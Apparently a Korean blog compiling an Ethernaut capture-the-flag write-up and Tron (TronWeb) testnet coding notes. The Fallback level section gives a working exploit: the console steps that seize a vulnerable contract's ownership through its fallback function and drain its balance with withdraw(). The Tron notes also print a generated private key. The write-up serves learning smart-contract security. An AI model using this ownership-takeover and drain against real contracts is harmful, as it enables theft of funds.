레벨 1. Fallback

https://ethernaut.zeppelin.solutions/level/0x234094aac85628444a82dae0396c680974260be7

 

 

Look carefully at the contract's code below.

You will beat this level if

  1. you claim ownership of the contract
  2. you reduce its balance to 0

  Things that might help

  • How to send ether when interacting with an ABI
  • How to send ether outside of the ABI
  • Converting to and from wei/ether units -see help() command-
  • Fallback methods

 

자 다음 문제다.

 

계약의 소유권을 뺏고  Root권한을 뺏는것과 비슷하다.

 

해커들은 먼가를 뺏어야된다?!

 

그리고 잔액을 0을 만들라고 한다.

 

Untitled.sol

pragma solidity ^0.4.18;

import './Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

 

 

 

Ownable.sol

pragma solidity ^0.4.18;


/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

 

 

 

 

pragma solidity ^0.4.18버전이다 그러면

select에서  0.4.18의 최신버전을 맞추어 주고

 

Auto complie 옵션을 체크하는게 좋다.

버전 안맞아서 에러 뜨는 경우가 흔하다.

 

import에서 Ownable.sol파일과 함께 컴파일 된다.

 

 

 

 

 

 

 

문제 소스를 보면 contribute()를 실행하는데 이더를 0.001 ether보다

작게 보내면  오너 권한을 잠시 빌리게 된다.

 

 

그리고 withdraw()를 실행하면

owner.transfer(this.balance);

 

잔액을 가지고 오는 형태다.

플레이어주소 = 메타마스크 주소다.

 

메타마스크가 자바스크립트로 되어 있어서

호환된다.

 

이문제는 솔리디티 컴파일 안해도 풀수 있는 문제이긴 하다.

 

 

오너 주소 확인

await contract.owner()
"0x234094aac85628444a82dae0396c680974260be7"

플레이어 주소 확인

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f

 

계약 인스턴스 확인 contract.address

instance
"0xf14cc443e95edb000962252225468bce8442a8aa"

메타마스크로 인스턴스 주소로 송금 0.0001 eth

오너 주소 플레이어주소로  바뀌었음
await contract.owner()
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

플레이어주소

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

 

계좌 확인

await getBalance(instance)
"0.0021"

취약한 함수 실행 오너권한으로 계좌 훔치기

contract.withdraw()
Promise {<pending>}

 

계좌가 0원된거 확인

await getBalance(instance)
"0"

 

 


 

 

처음은 두 주소가 다르지만

권한을 획득하면 두 주소가 같게 되면서 다음문제를 풀수 있다.

 

 

메타마스크를 통해 인스턴스 주소를 보내면 

owner와 player의 계좌가 동일 한걸 알수 있다.

 

 

 

 

 

스마트컨트렉 취약점은 졸라 무서운게 PK가 없더라도 돈을 빼올수 있다.

 

일반 집이든 근로든 계약서 잘 신경쓰라고 하는것도

 

같은거다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Ethernaut' 카테고리의 다른 글

ethernaut.zeppelin.solutions 0. Hello Ethernaut  (0) 2018.12.28
블로그 이미지

iesay

,

요즘 해킹 대회에서도 스마트컨트렉 보안관련 문제가 가끔 나온다.

스마트컨트렉은  온라인 계약이니 이더리움의 솔리디티관련 CTF 도장깨기를

시작해 볼까 한다.

 

생각보다 문제 많이 까다롭다.

천천히 올클을 목표로!!

 

레벨 0. Hello Ethernaut

https://ethernaut.zeppelin.solutions/level/0xdf51a9e8ce57e7787e4a27dd19880fd7106b9a5c

 

This level walks you through the very basics of how to play the game.

블록체인은 remote exploit 처럼 특정 contract에 계속 먼가를 던저야 되니

중간에 gdb처럼 디버깅되는 과정을 보기 힘들다.

그래서 다른 wargame과 다르게 조금 풀기가 까다로울수도 있다.

그리고 또 개념을 잘 잡아야 된다. Dapp을 만들던 메인넷을 하던 컨트렉을 짜던

개념이 아주 중요하다.

UTXO를 모르고 BTC지갑을 만들수 있을가?

이론적인 부분도 아주 중요한 부분이 된다.

1. Set up MetaMask
2. Open the browser's console
3. Use the console helpers
4. The ethernaut contract
5. Interact with the ABI
6. Get test ether
7. Getting a level instance
8. Inspecting the contract
9. Interact with the contract to complete the level 

설명은 차근 차근 읽어 보도록 한다.

0단계는 쉽다.

  

메타마스크 연동해서  롭스톤 테스트넷 연동하고 그런건 알아서 타 블로그를

참고 하길 바란다.

 

Get New instance를 하면 메타마스크에서 컨트렉을 하나 보낼수 있다.

크롬 개발자 도구 F12눌러서 Console에서 진행하면 된다.

 

블록체인은 동기 비동기라서 await와 sync를 잘 활용해야된다

자바스크립트 특징상 한꺼번에 처리 할려구 하니 모든 구문은

서버랑 통신하는 모든 구문은 거의 await를 쓴다고 보면된다.

 소스 코드는 원본 홈페이지를 참고하고 write up만 나열한다.

await contract.info()
"You will find what you need in info1()."


await contract.info1()
"Try info2(), but with "hello" as a parameter."


await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."

await contract.infoNum()
t {s: 1, e: 1, c: Array(1)}c: [42]e: 1s: 1__proto__: Object


await contract.info42()
"theMethodName is the name of the next method."


await contract.theMethodName()
"The method name is method7123949."

await contract.method7123949()
"If you know the password, submit it to authenticate()."

await contract.password()

ethernaut0


await contract.authenticate('ethernaut0')
{tx: "0x9f6c29c29b5397f6df441d4eddb6ae82b89818e57f40635f37eec6ac9153205d", receipt: {…}, logs: Array(0)} 

 

 

Submit instance를 누러 메타마스크를 실행하면

Pendding이 완료되면

다음 단계로 넘어 간다.

 

 

 

'Ethernaut' 카테고리의 다른 글

ethernaut.zeppelin.solutions 1. Fallback  (0) 2018.12.28
블로그 이미지

iesay

,

테스트넷에 Token 생성  내일 뜯어보자

출처 : https://github.com/TronWatch/Desktop-Wallet/tree/master/app/components/Tokens

API : https://developers.tron.network/v3.0/reference#createtoken

 

 

메인넷은 마법사 보고 따라하면 생성 가능

https://www.youtube.com/watch?v=7cQrkHUijbo

블로그 이미지

iesay

,

참고 : https://tron.network/wallet?lng=kor

        https://github.com/TronWatch/TronLink/blob/master/packages/backgroundScript/services/WalletService/Account.js

 

to, from에서 조회한 내역을 MongoDB에 넣어보자

 

const TronWeb = require('../../dist/TronWeb.node.js');

const fullNode = 'https://api.shasta.trongrid.io';
const solidityNode = 'https://api.shasta.trongrid.io';
const eventServer = 'https://api.shasta.trongrid.io';
const privateKey = 'abc';

 

const app = async() => {
const tronWeb = new TronWeb(
    fullNode,
    solidityNode,
    eventServer,
    privateKey
);
tronWeb.setDefaultBlock('latest');

const nodes = await tronWeb.isConnected();
const connected = !Object.entries(nodes).map(([name, connected]) => {
    if (!connected)
        console.error(`Error: ${name} is not connected`);
        return connected;
    }).includes(false);


const transactions = [];


         let hasMoreTransactions = true;
         let offset = 0;


         while(hasMoreTransactions) {
             const newTransactions = (await tronWeb.trx.getTransactionsRelated("TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih", 'all', 90, offset))
                 .map(transaction => {
                     transaction.offset = offset;
                     return transaction;
                 });


             if(!newTransactions.length)
                hasMoreTransactions = false;
             else offset += 90;


             transactions.push(...newTransactions);
         }
         console.log("transactions: ", transactions);

};
app();

 

 

 

 

데이터가 블록으로 넘어오는듯,, 블록을 한번 도 조회 해야 되는데

이더처럼 json형태로 to. from. 컨트렉종류, 금액 이렇게 넘어와야 되는데

트론은 token에 대한 개발이 아직 진행중인걸로 보임

 

테스트넷에 대한 지원도 좀 짜증날 정도로 지원을 안해주고 있음.

async updateTransactions() {
 if(this.updatingTransactions) return;
 this.updatingTransactions = true;
 const transactions = await this.getTransactions();
 const filteredTransactions = transactions .filter(( {
  txID
 }) => ( !Object.keys(this.transactions).includes(txID) && !this.ignoredTransactions.includes(txID) ));
 const mappedTransactions = TransactionMapper.mapAll(filteredTransactions) .filter(( {
  type
 }) => SUPPORTED_CONTRACTS.includes(type));
 const newTransactions = [];
 const manuallyCached = [];
 for (const transaction of mappedTransactions) {
  if(transaction.timestamp) {
   transaction.cached = true;
   newTransactions.push(transaction);
   continue;
  }const txData = await NodeService.tronWeb.trx .getTransactionInfo(transaction.txID);
  if(!txData.id) {
   logger.warn(`Transaction $ {
    transaction.txID
   }has not been cached,
   skipping`);
   continue;
  }// if(!txData.id) {
   // logger.warn(`Transaction ${
    transaction.txID
   }has not been cached`);
 // // StorageService.addPendingTransaction(address,
   transaction.txID);
 // transaction.cached = false; // // this.transactions[
    transaction.txID
   ]= transaction;
 // continue; //
  }// logger.info(`Transaction ${
   transaction.txID
  }has been cached`,
  transaction);
transaction.cached = true;
transaction.timestamp = txData.blockTimeStamp;
transaction.receipt = txData.receipt || false;
transaction.result = txData.contractResult || false;
newTransactions.push(transaction);
manuallyCached.push(transaction.txID);
 }const sortedTransactions = [
  ...Object.values(this.transactions),
  ...newTransactions
 ].sort((a,
 b) => b.timestamp - a.timestamp);
this.transactions = sortedTransactions .slice(0,
 100) .reduce((transactions,
 transaction) => {
  transactions[
   transaction.txID
  ]= transaction;
return transactions;
 },
 {});
manuallyCached.forEach(txID => {
  if(txID in this.transactions) return;
// Transaction is now too old for TronLink (100+) this.ignoredTransactions.push(txID);
 });
this.updatingTransactions = false;
this.save();
}

 

블로그 이미지

iesay

,

개인 트렌젝션 조회

 

index.js 


const TronWeb = require('tronweb');
const fullNode = 'https://api.trongrid.io';
const solidityNode = 'https://api.trongrid.io';
const eventServer = 'https://api.trongrid.io';
const privateKey = '123';
const app = async () => {
 try {
  const tronWeb = new TronWeb(
      fullNode,
      solidityNode,
      eventServer,
      privateKey
  );
  tronWeb.setDefaultBlock('latest');
  const nodes = await tronWeb.isConnected();
  const connected = !Object.entries(nodes).map(([name, connected]) => {
   if (!connected)
           console.error(`Error: $ {
    name
   }
   is not connected`);
   return connected;
  }
  ).includes(false);
  const gTransactions = await tronWeb.trx.getTransactionsFromAddress("THEwbtZuspuBBVzJdhHo3c7C7gL3xC3XqW", 30, 0);
  const gTRelated = await tronWeb.trx.getTransactionsRelated("THEwbtZuspuBBVzJdhHo3c7C7gL3xC3XqW", "all", 30, 0);
  const gBalance = await tronWeb.trx.getBalance("THEwbtZuspuBBVzJdhHo3c7C7gL3xC3XqW");
  const gBandwidth = await tronWeb.trx.getBandwidth("THEwbtZuspuBBVzJdhHo3c7C7gL3xC3XqW");
  console.log("getTransactionsFromAddress : ", gTransactions);
  console.log("getTransactionsRelated : ", gTRelated);
  console.log("getBalance : ", gBalance);
  console.log("getBandwidth : ", gBandwidth);
 }
 catch (error) {
  console.log('Task Failure',error);
 }
};
app();

getTransactionsFromAddress : 해당주소가 from으로 들어간곳 출력

getTransactionsToAddress : 해당주소가 to로 들어간곳 출력

getTransactionsRelated : 해당주소를 포함하는 전체 출력

 

잔액과 대역폭까지 했다.

 

잔액은 소수점 6자리다.

31,100,001      31 tron 있는거다.

Bandwidth는 첫 계좌 개통시 0.1 tron 나가고 그뒤로 Bandwidth대역폭을 쓴다.

다 쓰면 또 차감되고 시간지나면 차고 그렇다.

트렌젝션 무한루프를 막고 무료 쿠폰이 충전된다 생각하면 된다.

 

 

실행 결과

   { ret: [ [Object] ],
    signature:
     [ '235227d616000810d912ba476e6a5e47634e2c9f137517651c3373ae2543b2

df09

66fb435d374bca80a086661a3a426976cb13792ab27e62b619b43a7dd3429101' ],
    txID: 'bb9d030ade9c3582ae087ca9c9a7a28b9472291303f7f6898a235f1acb362b64',
    contract_address: '41f71d6c850fd7ad1dc5183b2d4ecb3fefc990d5ed',
    raw_data:
     { contract: [Array],
       ref_block_bytes: 'b60f',
       ref_block_hash: '3eaf55dc91a030aa',
       expiration: 1545012204000,
       fee_limit: 100000000,
       timestamp: 1545012147303 },
    direction: 'from' } ]
getBalance :  29654158819
getBandwidth :  3967
root@tkpark-VirtualBox:~/tron-web/examples/server# clear
root@tkpark-VirtualBox:~/tron-web/examples/server# nodejs index.js
getTransactionsFromAddress :  []
getTransactionsRelated :  [ { ret: [ [Object] ],
    signature:
     [ '568bba26156139fcd20b3128a5748ae32dba482a308d5f1afdcfbf621

316c888

ea529b07a30b90961de27393c9e046e6ef54abed7966db0754af611a824108e800' ],
    txID: '59c8d68a939b87180da5ddf78c2f03257e0a6ed682711ae5f7758835

7c138e34',
    raw_data:
     { contract: [Array],
       ref_block_bytes: '423f',
       ref_block_hash: 'd68872a44e72ff02',
       expiration: 1545119898000,
       timestamp: 1545119838729 },
    direction: 'to' },
  { ret: [ [Object] ],
    signature:
     [ 'ac0cd98aee3d6714686f92784a92e4dbc3f0fd9b888ea35c37c63ce

5795202e655be54b64412295fb14bf644ec39b1f2a34e35d93fc782811c5ccaff4

28a527c01' ],
    txID: '1658f71e62004a843f1c5817436573ba22210e44ff885fd5d18b3fae

ca386268',
    raw_data:
     { contract: [Array],
       ref_block_bytes: '4236',
       ref_block_hash: 'f5fe36a0efa6e5fe',
       expiration: 1545119871000,
       timestamp: 1545119813541 },
    direction: 'to' },
  { ret: [ [Object] ],
    signature:
     [ 'fd2d0b3804f92287e93c512aef3c65e6cd546821da7750ac8ca9bd79f1

a2bdc3a3052b

d216d92d34dfa376becd2b2f6b29b3bb4fd998742c5ac0c3a4e45972fa00' ],
    txID: '63a05187e65543353cbd2a8d5f8bb704e9a8526f4dabd6c95802ef825a0

c3d92',
    raw_data:
     { contract: [Array],
       ref_block_bytes: '422a',
       ref_block_hash: '94aa6a7ebb38340d',
       expiration: 1545119835000,
       timestamp: 1545119778452 },
    direction: 'to' },
  { ret: [ [Object] ],
    signature:
     [ 'af1d8a405433ea655667ead45252e0c0eb9262d4657ad600cea0a7a

5f4c2797

9cf4e5c6c0834a318392f77a02be5ed0de16bc13d04ba4f693c23bfd04da77e3100' ],
    txID: '58298adfe44ab3342d36bd49fa215e2445ac022c14cc76b39442ee

eb8e1206c7',
    raw_data:
     { contract: [Array],
       ref_block_bytes: '420c',
       ref_block_hash: '3cb12e5531462d93',
       expiration: 1545119745000,
       timestamp: 1545119687069 },
    direction: 'to' } ]
getBalance :  31100001
getBandwidth :  5000

 

 

root@tkpark-VirtualBox:~/project/myapp/routes# nodejs ex3.js
getTransactionsFromAddress :  []
getTransactionsRelated :  []
getBalance :  4596610
getBandwidth :  43
root@tkpark-VirtualBox:~/project/myapp/routes#

 

 

 

 

 

블로그 이미지

iesay

,

출처 : https://developers.tron.network/v3.0/reference#sign

참고 : https://github.com/tronprotocol/tron-web/issues/104

 

 

index.js

const TronWeb = require('../../dist/TronWeb.node.js');

const fullNode = 'https://api.shasta.trongrid.io';
const solidityNode = 'https://api.shasta.trongrid.io';
const eventServer = 'https://api.shasta.trongrid.io';
const privateKey = '개인키';

const app = async () => {
const tronWeb = new TronWeb(
    fullNode,
    solidityNode,
    eventServer,
    privateKey
);
tronWeb.setDefaultBlock('latest');

const nodes = await tronWeb.isConnected();
const connected = !Object.entries(nodes).map(([name, connected]) => {
    if (!connected)
        console.error(`Error: ${name} is not connected`);
        return connected;
    }).includes(false);

    if (!connected)
        return;
    const sendTransaction = await tronWeb.transactionBuilder.sendTrx('TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc', 1, 'TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih');

    console.group('Unsigned send TRX transaction');
    console.log('- Recipient: TGEJj8eus46QMHPgWQe1FJ2ymBXRm96fn1');
    console.log('- Transaction:\n' + JSON.stringify(sendTransaction, null, 2), '\n');
    console.groupEnd();

};
app(); 

 

트랜젝션 생성은 되는거 같은데

TronLink에서 보면 송금은 안되있다.

 

root@tkpark-VirtualBox:~/tron-web/examples/server# nodejs index.js
Unsigned send TRX transaction
  - Recipient: TGEJj8eus46QMHPgWQe1FJ2ymBXRm96fn1
  - Transaction:
  {
    "txID": "1af7a6cdb907dbd8477f65ecb51bb4c64e874fa5d4ca1639b65985b0125148bc",
    "raw_data": {
      "contract": [
        {
          "parameter": {
            "value": {
              "amount": 1,
              "owner_address": "41b0720a94d13ef83434e1385b543c9291c79a6d14",
              "to_address": "417b4db2232332c2267271d10c55c126fae6f67de1"
            },
            "type_url": "type.googleapis.com/protocol.TransferContract"
          },
          "type": "TransferContract"
        }
      ],
      "ref_block_bytes": "2658",
      "ref_block_hash": "3183fbce05f7e625",
      "expiration": 1545098463000,
      "timestamp": 1545098404591
    }
  }

root@tkpark-VirtualBox:~/tron-web/examples/server#
 

 

이더리움은 개인키로 서명해서  send트렌젝션 한다면

트론은 서버 접속할때 개인키를 하나 들고 있어야되고

서버에서 서명해서 보낼거 같은데 테스텟이 아직 불안해서 그런가 싶기도 하다.

그리고 API 메뉴얼에 "Create an unsigned transaction"으로 되어 있다.

 

참고 사이트 보니 트랜젝션을 만들고 그뒤에 사인을 해서 보낸다.

결국 이더랑 유사하다.

 

테스트넷도 블록 익스프러러가 빨리 만들어져야 될텐데

 

내가 코드를 짜는건지 코드가 나를 짜는건지 모르겠지만 ㅎㅎ

index.js

const TronWeb = require('../../dist/TronWeb.node.js');

const fullNode = 'https://api.shasta.trongrid.io';
const solidityNode = 'https://api.shasta.trongrid.io';
const eventServer = 'https://api.shasta.trongrid.io';
const privateKey = '개인키';

const app = async () => {
const tronWeb = new TronWeb(
    fullNode,
    solidityNode,
    eventServer,
    privateKey
);
tronWeb.setDefaultBlock('latest');

const nodes = await tronWeb.isConnected();
const connected = !Object.entries(nodes).map(([name, connected]) => {
    if (!connected)
        console.error(`Error: ${name} is not connected`);
        return connected;
    }).includes(false);
    sendTransaction = await tronWeb.transactionBuilder.sendTrx('TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih', 1);
    sendTransaction.raw_data.data = 'hex message';

    const signedTransaction = await tronWeb.trx.sign(sendTransaction);
    console.group('Signed');
    console.log('- Transaction:\n' + JSON.stringify(signedTransaction, null, 2), '\n');
    console.groupEnd(); // no error {raw_data.data = 'hex_message'} Added

    const sendRaw = await tronWeb.trx.sendRawTransaction(signedTransaction); // error
    console.group('Success');
    console.log('- Transaction:\n' + JSON.stringify(sendRaw, null, 2), '\n');
    console.groupEnd();

};
app(); 

 

먼가 되는거 같다.

트랜젝션 쏘기 전에 이제 Sign부터 넣었다.

트론이 이더리움을 배꼈다면 그렇게 만들수 밖에 없다.

이더리움은  개인키로 전자서명하고 공개키를 같이 node에 보낸다.

그래서 서버단에서 PKI검증한다.

트론도 비슷하지 않을까 싶다.

 

 

root@tkpark-VirtualBox:~/tron-web/examples/server# nodejs index.js
Signed
  - Transaction:
  {
    "txID": "c544fb84a26dd202c9e2fdc85663a4ee41401c005c4d994dc0ad81a84b5

40a4d",
    "raw_data": {
      "contract": [
        {
          "parameter": {
            "value": {
              "amount": 1,
              "owner_address": "417b4db2232332c2267271d10c55c126fae6f67de1",
              "to_address": "41b0720a94d13ef83434e1385b543c9291c79a6d14"
            },
            "type_url": "type.googleapis.com/protocol.TransferContract"
          },
          "type": "TransferContract"
        }
      ],
      "ref_block_bytes": "39d1",
      "ref_block_hash": "59ddb3394b45a28e",
      "expiration": 1545113424000,
      "timestamp": 1545113364738,
      "data": "hex message"
    },
    "signature": [
      "b2dbad9bcc00d2ae2624dd1edcfd80e00e303e7a71a6da7c76127f6030b09

cc47b91e9f81                                                                                             cbe26b1dc40bbbf3bdb333245ffa65d117533219680d041675071e900"
    ]
  }

Success
  - Transaction:
  {
    "code": "OTHER_ERROR",
    "message": "6f74686572206572726f72203a206e756c6c"
  }

root@tkpark-VirtualBox:~/tron-web/examples/server# ~

 

 

먼가 올라간거 같은데,,OTHER_ERROR를 토한다.

주문 오류란다. 식당도 아닌데 말이다 ㅋㅋ

 

TronLink에서 출금된 트렌젝션이 없다.

 

먼가 잘못 되었다는거다.  또 다시 삽질하고 추리하자..

소스 그대로 복붙해서 그런지 저 깃허브 에러메세지랑 유사하다.

밑에 해결책이 있을듯,,,,,

 

순서는

 

Build -> Sign -> Send 순서다.

 

저 위에서 소스에서 빨간색 부분 빼고 보내면 된다.

1개 보낼러면 소수점 6개라서 백만 입력 해야 된다.

 

index.js

const TronWeb = require('../../dist/TronWeb.node.js');

const fullNode = 'https://api.shasta.trongrid.io';
const solidityNode = 'https://api.shasta.trongrid.io';
const eventServer = 'https://api.shasta.trongrid.io';
const privateKey = '개인키';

const app = async () => {
const tronWeb = new TronWeb(
    fullNode,
    solidityNode,
    eventServer,
    privateKey
);
tronWeb.setDefaultBlock('latest');

const nodes = await tronWeb.isConnected();
const connected = !Object.entries(nodes).map(([name, connected]) => {
    if (!connected)
        console.error(`Error: ${name} is not connected`);
        return connected;
    }).includes(false);
    sendTransaction = await tronWeb.transactionBuilder.sendTrx('TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih', 1000000);

    const signedTransaction = await tronWeb.trx.sign(sendTransaction);
    console.group('Signed');
    console.log('- Transaction:\n' + JSON.stringify(signedTransaction, null, 2), '\n');
    console.groupEnd(); // no error {raw_data.data = 'hex_message'} Added

    const sendRaw = await tronWeb.trx.sendRawTransaction(signedTransaction); // error
    console.group('Success');
    console.log('- Transaction:\n' + JSON.stringify(sendRaw, null, 2), '\n');
    console.groupEnd();

};
app(); 

 

실행결과

root@tkpark-VirtualBox:~/tron-web/examples/server# nodejs index.js
Signed
  - Transaction:
  {
    "txID": "59c8d68a939b87180da5ddf78c2f03257e0a6ed682711ae5f77588357c138e34",
    "raw_data": {
      "contract": [
        {
          "parameter": {
            "value": {
              "amount": 1000000,
              "owner_address": "417b4db2232332c2267271d10c55c126fae6f67de1",
              "to_address": "41b0720a94d13ef83434e1385b543c9291c79a6d14"
            },
            "type_url": "type.googleapis.com/protocol.TransferContract"
          },
          "type": "TransferContract"
        }
      ],
      "ref_block_bytes": "423f",
      "ref_block_hash": "d68872a44e72ff02",
      "expiration": 1545119898000,
      "timestamp": 1545119838729
    },
    "signature": [
      "568bba26156139fcd20b3128a5748ae32dba482a308d5f1afdcfbf621316c888e

a529b07a30b90961de27393c9e046e6ef54abed7966db0754af611a824108e800"
    ]
  }

Success
  - Transaction:
  {
    "result": true,
    "transaction": {
      "txID": "59c8d68a939b87180da5ddf78c2f03257e0a6ed682711ae5f77588357c13

8e34"                                                                                             ,
      "raw_data": {
        "contract": [
          {
            "parameter": {
              "value": {
                "amount": 1000000,
                "owner_address": "417b4db2232332c2267271d10c55c126fae6f67de1",
                "to_address": "41b0720a94d13ef83434e1385b543c9291c79a6d14"
              },
              "type_url": "type.googleapis.com/protocol.TransferContract"
            },
            "type": "TransferContract"
          }
        ],
        "ref_block_bytes": "423f",
        "ref_block_hash": "d68872a44e72ff02",
        "expiration": 1545119898000,
        "timestamp": 1545119838729
      },
      "signature": [
        "568bba26156139fcd20b3128a5748ae32dba482a308d5f1

afdcfbf621

316c888ea529b07a30b90961de27393c9e046e6ef54abed7966d

b0754af611

a824108e800"
      ]
    }
  }

root@tkpark-VirtualBox:~/tron-web/examples/server#

 

 

 

에러는 이제 안뜸

 

 

생각해보니 송금하는데 스마트컨트렉도 아니고 메세지를 왜 집어 넣었을가?

트론이 트래픽 작고 수수료 싸다고 무시하는건지

이건 암호화폐 메커니즘의 기본이다.

 

저 글 올린 친구 아직 해결했는지 모르겠다.

 

API도 많이 읽었고 공부 많이 했다. 해결도 했고 천천히 다음진도 나가자

저 API가이드에서 강조하는건 절대 web에서 전자서명 하지 말라는것

 

당연한거지만 Private가 유출될수 있다는 위험성이다.

 

 

 

개발하면서 꼭 명심하자...

 

 

 

 

 

 

'트론' 카테고리의 다른 글

tron-web 분해하기4(getTransactionstoAddress)  (0) 2018.12.19
tron-web 분해하기3(getTransactionsFromAddress)  (0) 2018.12.18
tron-web 분해하기1 (tronWeb.createAccount)  (0) 2018.12.17
tron-web 설치  (0) 2018.12.17
tronbox 설치  (1) 2018.12.17
블로그 이미지

iesay

,

const TronWeb = require('../../dist/TronWeb.node.js');

const fullNode = 'https://api.shasta.trongrid.io';
const solidityNode = 'https://api.shasta.trongrid.io';
const eventServer = 'https://api.shasta.trongrid.io';
const privateKey = 'PK는 자기꺼 넣습니다.';

const app = async () => {
const tronWeb = new TronWeb(
    fullNode,
    solidityNode,
    eventServer,
    privateKey
);
tronWeb.setDefaultBlock('latest');

const nodes = await tronWeb.isConnected();
const connected = !Object.entries(nodes).map(([name, connected]) => {
    if (!connected)
        console.error(`Error: ${name} is not connected`);
        return connected;
    }).includes(false);

    if (!connected)
        return;

    const account = await tronWeb.createAccount();
    const isValid = tronWeb.isAddress(account.address);
    console.group('\nGenerated account');
    console.log('- Private Key:', account.privateKey);
    console.log('- Public Key: ', account.publicKey);
    console.group('Address')
    console.log('- Base58:', account.address);
    console.log('- Hex:   ', account.address);
    console.log('- Valid: ', isValid, '\n')
    console.groupEnd();
    console.groupEnd();
};
app();
 

앞에 설치 후 node ./example/server 실행 해보면 쫙 나오는데

하나 하나 분석해서 뜯어 보도록 하자.

nodejs는 Front쪽인데 ,,, 백엔드쪽 역할을 하다보니

자바스크립트 원래 클라이언트 단에서 실행된다.

 

그러다 보니 동기, 비동기 이거 굉장히 애를 먹인다.

한줄 실행되고 다음줄 실행되어야되는데 ,, 좍 다 실행 시킬려구 하니 문제

그래서 저렇게 동기화 시킬부분은 따로 묶어서 그 역할을 수행 하도록 한다.

파란색 부분이 그 역할을 수행하는 부분이다.

 

소스는 tronWeb.createAccount() 새로운 계정 만들어서 뿌려주는 역할이다.

회원 가입할때 같이 써어서 그 결과값을 DB에 넣으면 된다.


 

 

root@tkpark-VirtualBox:~/tron-web/examples/server# nodejs index.js

Generated account
  - Private Key:

 09DDA582A742199A60240AA0CE4EBEFDEA06D3A7B6CCC339117C46CF6A9A88E3


  - Public Key: 

 04C7E8873084E14483DFABB3FD4C49F934C658A3252C02C936C2B110131EF570

1DA479ED0507219AF05A58AB4F9B875A79F9EA95530378FEE140F4979811451B40
  Address
    - Base58: { base58: 'TPpfzoUb7cqmdr1TbGC3m2zAUkE9URLsy2',
      hex: '4197F48D556BAACA989E636E07A1F71C977FB50B71' }
    - Hex:    { base58: 'TPpfzoUb7cqmdr1TbGC3m2zAUkE9URLsy2',
      hex: '4197F48D556BAACA989E636E07A1F71C977FB50B71' }
    - Valid:  false

root@tkpark-VirtualBox:~/tron-web/examples/server#
 

 

 

'트론' 카테고리의 다른 글

tron-web 분해하기3(getTransactionsFromAddress)  (0) 2018.12.18
tron-web 분해하기2(transactionBuilder.sendTrx)  (0) 2018.12.18
tron-web 설치  (0) 2018.12.17
tronbox 설치  (1) 2018.12.17
트론 shasta 테스트넷  (0) 2018.12.13
블로그 이미지

iesay

,

tron-web 설치

트론 2018. 12. 17. 15:24

ubuntu-18.04.1-desktop-amd64.iso

버추얼박스는 5.1.38 r122592 버전이다.

 

 

최근 버추얼박스가 vmware보다 더 리소스를 적게 먹는다.

많이 성능이 좋아 졌다.

거의 무료가 유료를 앞질렀다고 보면 된다.

root@tkpark-VirtualBox:~# uname -a
Linux tkpark-VirtualBox 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
root@tkpark-VirtualBox:~#
 

 

출처 : https://github.com/tronprotocol/tron-web

 

공식 사이트 대로 슬슬 삽질을 시작해 보자.

 npm install tronweb

git clone https://github.com/tronprotocol/tron-web.git
cd tron-web
yarn
yarn build -d
yarn example

 

 

yarn 버전이 너무 낮아서 안됨 몰라서 GURU개발자 에게 물어봄

root@tkpark-VirtualBox:~/tron-web# ls
dist           LICENSE       scripts  webpack.config.js
examples       package.json  src      yarn-error.log
karma.conf.js  README.md     test     yarn.lock
root@tkpark-VirtualBox:~/tron-web# yarn
00h00m00s 0/0: : ERROR: There are no scenarios; must have at least one.
root@tkpark-VirtualBox:~/tron-web# yarn --version
0.32
root@tkpark-VirtualBox:~/tron-web#
 

 

 

yarn 업데이트를 완료 하고

#curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -

#echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list

#sudo apt update
#sudo apt install yarn

 4줄이다.

 

root@tkpark-VirtualBox:~/tron-web# yarn --version
yarn install v1.12.3

위에 순서대로 yarn, build , example도 실행해 본다.

 

root@tkpark-VirtualBox:~/tron-web# yarn example
yarn run v1.12.3
$ node ./examples/server
Error: fullNode is not connected
Error: solidityNode is not connected
Error: eventServer is not connected

노드는 알아서 잘 적어 주면 된다.

 

vi /examples/server/index.js

const fullNode = 'https://api.shasta.trongrid.io';
const solidityNode = 'https://api.shasta.trongrid.io';
const eventServer = 'https://api.shasta.trongrid.io';
const privateKey = 'Tron링크 계좌 만들어서 PK입력'; 

 

node ./examples/server/ 실행결과

      "id": "1000009"
    },
    {
      "owner_address": "410c7c4f2e280aa73561efe5b92355cc12a150f566",
      "name": "CoconutToken",
      "abbr": "FTKN",
      "total_supply": 900000000,
      "frozen_supply": [
        {
          "frozen_amount": 5,
          "frozen_days": 1
        }
      ],
      "trx_num": 1,
      "num": 1,
